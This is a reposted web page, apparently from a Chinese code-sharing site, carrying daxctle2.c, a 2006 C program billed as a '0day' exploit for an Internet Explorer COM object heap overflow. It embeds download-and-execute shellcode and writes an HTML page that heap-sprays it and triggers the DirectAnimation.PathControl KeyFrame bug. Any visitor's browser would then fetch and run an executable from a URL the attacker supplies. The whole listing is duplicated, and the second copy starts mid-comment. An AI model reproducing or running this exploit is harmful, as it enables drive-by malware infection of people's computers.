Internet Explorer COM Object Heap Overflow Download Exec Exploit
2006-09-17 23:10
585 查看
/*
*-----------------------------------------------------------------------
*
* daxctle2.c - Internet Explorer COM Object Heap Overflow Download Exec Exploit
* !!! 0day !!! Public Version !!!
*
* Copyright (C) 2006 XSec All Rights Reserved.
*
* Author : nop
* : nop#xsec.org
* : http://www.xsec.org * :
* Tested : Windows 2000 Server SP4 CN
* : + Internet Explorer 6.0 SP1
* : Windows XP SP2 CN
* : + Internet Explorer 6.0 SP1 (You need some goodluck! :-)
* :
* Complie : cl daxctle2.c
* :
* Usage :d:/>daxctle2
* :
* :Usage: daxctle <URL> [htmlfile]
* :
* :d:/>daxctle2 http://xsec.org/xxx.exe xxx.htm
* :
*
*------------------------------------------------------------------------
*/
#include <stdio.h>
#include <stdlib.h>
FILE *fp = NULL;
char *file = "xsec.htm";
char *url = NULL;
// Download Exec Shellcode by nop
unsigned char sc[] =
"/xe9/xa3/x00/x00/x00/x5f/x64/xa1/x30/x00/x00/x00/x8b/x40/x0c/x8b"
"/x70/x1c/xad/x8b/x68/x08/x8b/xf7/x6a/x04/x59/xe8/x43/x00/x00/x00"
"/xe2/xf9/x68/x6f/x6e/x00/x00/x68/x75/x72/x6c/x6d/x54/xff/x16/x95"
"/xe8/x2e/x00/x00/x00/x83/xec/x20/x8b/xdc/x6a/x20/x53/xff/x56/x04"
"/xc7/x04/x03/x5c/x61/x2e/x65/xc7/x44/x03/x04/x78/x65/x00/x00/x33"
"/xc0/x50/x50/x53/x57/x50/xff/x56/x10/x8b/xdc/x50/x53/xff/x56/x08"
"/xff/x56/x0c/x51/x56/x8b/x75/x3c/x8b/x74/x2e/x78/x03/xf5/x56/x8b"
"/x76/x20/x03/xf5/x33/xc9/x49/x41/xad/x03/xc5/x33/xdb/x0f/xbe/x10"
"/x3a/xd6/x74/x08/xc1/xcb/x0d/x03/xda/x40/xeb/xf1/x3b/x1f/x75/xe7"
"/x5e/x8b/x5e/x24/x03/xdd/x66/x8b/x0c/x4b/x8b/x5e/x1c/x03/xdd/x8b"
"/x04/x8b/x03/xc5/xab/x5e/x59/xc3/xe8/x58/xff/xff/xff/x8e/x4e/x0e"
"/xec/xc1/x79/xe5/xb8/x98/xfe/x8a/x0e/xef/xce/xe0/x60/x36/x1a/x2f"
"/x70";
char * header =
"<html>/n"
"<head>/n"
"<title>XSec.org</title>/n"
"</head>/n"
"<body>/n"
"<script>/n"
"shellcode = unescape(/"%u4343/"+/"%u4343/"+/"%u4343/" + /n";
// Change this script by yourself.
char * footer =
"bigbk = unescape(/"%u0D0D%u0D0D/");/n"
"headersize = 20;/n"
"slackspace = headersize + shellcode.length/n"
"while (bigbk.length < slackspace) bigbk += bigbk;/n"
"fillbk = bigbk.substring(0, slackspace);/n"
"bk = bigbk.substring(0, bigbk.length-slackspace);/n"
// bk = nop+nop;-)
"while(bk.length+slackspace < 0x40000) bk = bk + bk + fillbk;/n"
"memory = new Array();/n"
"for (i=0;i<800;i++) memory[i] = bk + shellcode;/n"
"var target = new ActiveXObject(/"DirectAnimation.PathControl/");/n"
"target.KeyFrame(0x7fffffff, new Array(1), new Array(65535));/n"
"</script>/n"
"</body>/n"
"</html>/n";
// print unicode shellcode
void PrintUc(char *lpBuff, int buffsize)
{
int i,j;
char *p;
char msg[4];
for(i=0;i<buffsize;i+=2)
{
if((i%16)==0)
{
if(i!=0)
{
printf("/"/n/"");
fprintf(fp, "%s", "/" +/n/"");
}
else
{
printf("/"");
fprintf(fp, "%s", "/"");
}
}
printf("%%u%0.4x",((unsigned short*)lpBuff)[i/2]);
fprintf(fp, "%%u%0.4x",((unsigned short*)lpBuff)[i/2]);
}
printf("/";/n");
fprintf(fp, "%s", "/");/n");
fflush(fp);
}
void main(int argc, char **argv)
{
unsigned char buf[1024] = {0};
int sc_len = 0;
if (argc < 2)
{
printf("Internet Explorer COM Object Remote Heap Overflow Download Exec Exploit/n");
printf("Code by nop nop#xsec.org, Welcome to http://www.xsec.org/n"); //printf("!!! 0Day !!! Please Keep Private!!!/n");
printf("/r/nUsage: %s <URL> [htmlfile]/r/n/n", argv[0]);
exit(1);
}
url = argv[1];
//if( (!strstr(url, "http://") && !strstr(url, "ftp://")) || strlen(url) < 10 || strlen(url) > 60)
if( (!strstr(url, "http://") && !strstr(url, "ftp://")) || strlen(url) < 10)
{
//printf("[-] Invalid url. Must start with 'http://','ftp://' and < 60 bytes./n");
printf("[-] Invalid url. Must start with 'http://','ftp://'/n");
return;
}
printf("[+] download url:%s/n", url);
if(argc >=3) file = argv[2];
printf("[+] exploit file:%s/n", file);
fp = fopen(file, "w");
if(!fp)
{
printf("[-] Open file error!/n");
return;
}
// print html header
fprintf(fp, "%s", header);
fflush(fp);
// print shellcode
memset(buf, 0, sizeof(buf));
sc_len = sizeof(sc)-1;
memcpy(buf, sc, sc_len);
memcpy(buf+sc_len, url, strlen(url));
sc_len += strlen(url)+1;
PrintUc(buf, sc_len);
// print html footer
fprintf(fp, "%s", footer);
fflush(fp);
printf("[+] exploit write to %s success!/n", file);
}
*-----------------------------------------------------------------------
*
* daxctle2.c - Internet Explorer COM Object Heap Overflow Download Exec Exploit
* !!! 0day !!! Public Version !!!
*
* Copyright (C) 2006 XSec All Rights Reserved.
*
* Author : nop
* : nop#xsec.org
* : http://www.xsec.org * :
* Tested : Windows 2000 Server SP4 CN
* : + Internet Explorer 6.0 SP1
* : Windows XP SP2 CN
* : + Internet Explorer 6.0 SP1 (You need some goodluck! :-)
* :
* Complie : cl daxctle2.c
* :
* Usage :d:/>daxctle2
* :
* :Usage: daxctle <URL> [htmlfile]
* :
* :d:/>daxctle2 http://xsec.org/xxx.exe xxx.htm
* :
*
*------------------------------------------------------------------------
*/
#include <stdio.h>
#include <stdlib.h>
FILE *fp = NULL;
char *file = "xsec.htm";
char *url = NULL;
// Download Exec Shellcode by nop
unsigned char sc[] =
"/xe9/xa3/x00/x00/x00/x5f/x64/xa1/x30/x00/x00/x00/x8b/x40/x0c/x8b"
"/x70/x1c/xad/x8b/x68/x08/x8b/xf7/x6a/x04/x59/xe8/x43/x00/x00/x00"
"/xe2/xf9/x68/x6f/x6e/x00/x00/x68/x75/x72/x6c/x6d/x54/xff/x16/x95"
"/xe8/x2e/x00/x00/x00/x83/xec/x20/x8b/xdc/x6a/x20/x53/xff/x56/x04"
"/xc7/x04/x03/x5c/x61/x2e/x65/xc7/x44/x03/x04/x78/x65/x00/x00/x33"
"/xc0/x50/x50/x53/x57/x50/xff/x56/x10/x8b/xdc/x50/x53/xff/x56/x08"
"/xff/x56/x0c/x51/x56/x8b/x75/x3c/x8b/x74/x2e/x78/x03/xf5/x56/x8b"
"/x76/x20/x03/xf5/x33/xc9/x49/x41/xad/x03/xc5/x33/xdb/x0f/xbe/x10"
"/x3a/xd6/x74/x08/xc1/xcb/x0d/x03/xda/x40/xeb/xf1/x3b/x1f/x75/xe7"
"/x5e/x8b/x5e/x24/x03/xdd/x66/x8b/x0c/x4b/x8b/x5e/x1c/x03/xdd/x8b"
"/x04/x8b/x03/xc5/xab/x5e/x59/xc3/xe8/x58/xff/xff/xff/x8e/x4e/x0e"
"/xec/xc1/x79/xe5/xb8/x98/xfe/x8a/x0e/xef/xce/xe0/x60/x36/x1a/x2f"
"/x70";
char * header =
"<html>/n"
"<head>/n"
"<title>XSec.org</title>/n"
"</head>/n"
"<body>/n"
"<script>/n"
"shellcode = unescape(/"%u4343/"+/"%u4343/"+/"%u4343/" + /n";
// Change this script by yourself.
char * footer =
"bigbk = unescape(/"%u0D0D%u0D0D/");/n"
"headersize = 20;/n"
"slackspace = headersize + shellcode.length/n"
"while (bigbk.length < slackspace) bigbk += bigbk;/n"
"fillbk = bigbk.substring(0, slackspace);/n"
"bk = bigbk.substring(0, bigbk.length-slackspace);/n"
// bk = nop+nop;-)
"while(bk.length+slackspace < 0x40000) bk = bk + bk + fillbk;/n"
"memory = new Array();/n"
"for (i=0;i<800;i++) memory[i] = bk + shellcode;/n"
"var target = new ActiveXObject(/"DirectAnimation.PathControl/");/n"
"target.KeyFrame(0x7fffffff, new Array(1), new Array(65535));/n"
"</script>/n"
"</body>/n"
"</html>/n";
// print unicode shellcode
void PrintUc(char *lpBuff, int buffsize)
{
int i,j;
char *p;
char msg[4];
for(i=0;i<buffsize;i+=2)
{
if((i%16)==0)
{
if(i!=0)
{
printf("/"/n/"");
fprintf(fp, "%s", "/" +/n/"");
}
else
{
printf("/"");
fprintf(fp, "%s", "/"");
}
}
printf("%%u%0.4x",((unsigned short*)lpBuff)[i/2]);
fprintf(fp, "%%u%0.4x",((unsigned short*)lpBuff)[i/2]);
}
printf("/";/n");
fprintf(fp, "%s", "/");/n");
fflush(fp);
}
void main(int argc, char **argv)
{
unsigned char buf[1024] = {0};
int sc_len = 0;
if (argc < 2)
{
printf("Internet Explorer COM Object Remote Heap Overflow Download Exec Exploit/n");
printf("Code by nop nop#xsec.org, Welcome to http://www.xsec.org/n"); //printf("!!! 0Day !!! Please Keep Private!!!/n");
printf("/r/nUsage: %s <URL> [htmlfile]/r/n/n", argv[0]);
exit(1);
}
url = argv[1];
//if( (!strstr(url, "http://") && !strstr(url, "ftp://")) || strlen(url) < 10 || strlen(url) > 60)
if( (!strstr(url, "http://") && !strstr(url, "ftp://")) || strlen(url) < 10)
{
//printf("[-] Invalid url. Must start with 'http://','ftp://' and < 60 bytes./n");
printf("[-] Invalid url. Must start with 'http://','ftp://'/n");
return;
}
printf("[+] download url:%s/n", url);
if(argc >=3) file = argv[2];
printf("[+] exploit file:%s/n", file);
fp = fopen(file, "w");
if(!fp)
{
printf("[-] Open file error!/n");
return;
}
// print html header
fprintf(fp, "%s", header);
fflush(fp);
// print shellcode
memset(buf, 0, sizeof(buf));
sc_len = sizeof(sc)-1;
memcpy(buf, sc, sc_len);
memcpy(buf+sc_len, url, strlen(url));
sc_len += strlen(url)+1;
PrintUc(buf, sc_len);
// print html footer
fprintf(fp, "%s", footer);
fflush(fp);
printf("[+] exploit write to %s success!/n", file);
}
内容来自用户分享和网络整理，不保证内容的准确性，如有侵权内容，可联系管理员处理 
相关文章推荐
- Internet Explorer VML Buffer Overflow Download Exec Exploit （0day）
- MS Internet Explorer 6 DirectX Media Remote Overflow DoS Exploit
- ZDI-07-048: Microsoft Internet Explorer substringData() Heap Overflow
- MS Internet Explorer 7 Video ActiveX Remote Buffer Overflow Exploit
- 网马生成器 MS Internet Explorer XML Parsing Buffer Overflow Exploit (vista) 0day
- 【实战】Internet Explorer Object Type Property Overflow 的研究心得
- HTTPS下载出现“Internet Explorer Cannot Download”的问题
- IobjectSafety and Internet Explorer
- IE事件对象（The Internet Explorer Event Object）
- MS Internet Explorer Recordset Double Free Memory Exploit (MS07-009)
- Internet Explorer cannot open the Internet site http://.com. Operation aborted.
- WVTFTPD 0.9 heap overflow remote root exploit.c
- IMail iaspam.dll 8.0x Remote Heap Overflow Exploit
- MS Internet Explorer Recordset Double Free Memory Exploit (MS07-009)
- Microsoft Internet Explorer .ANI Files Handling Exploit (MS05-002)
- IE事件对象（The Internet Explorer Event Object）
- IE9自动指向http://windows.microsoft.com/zh-CN/internet-explorer/products/ie-9/welcome-upgrade2的解决办法
- InternetExplorer Object
- IE事件对象（The Internet Explorer Event Object）
- C# Internet Explorer DOM using ObjectFromLresult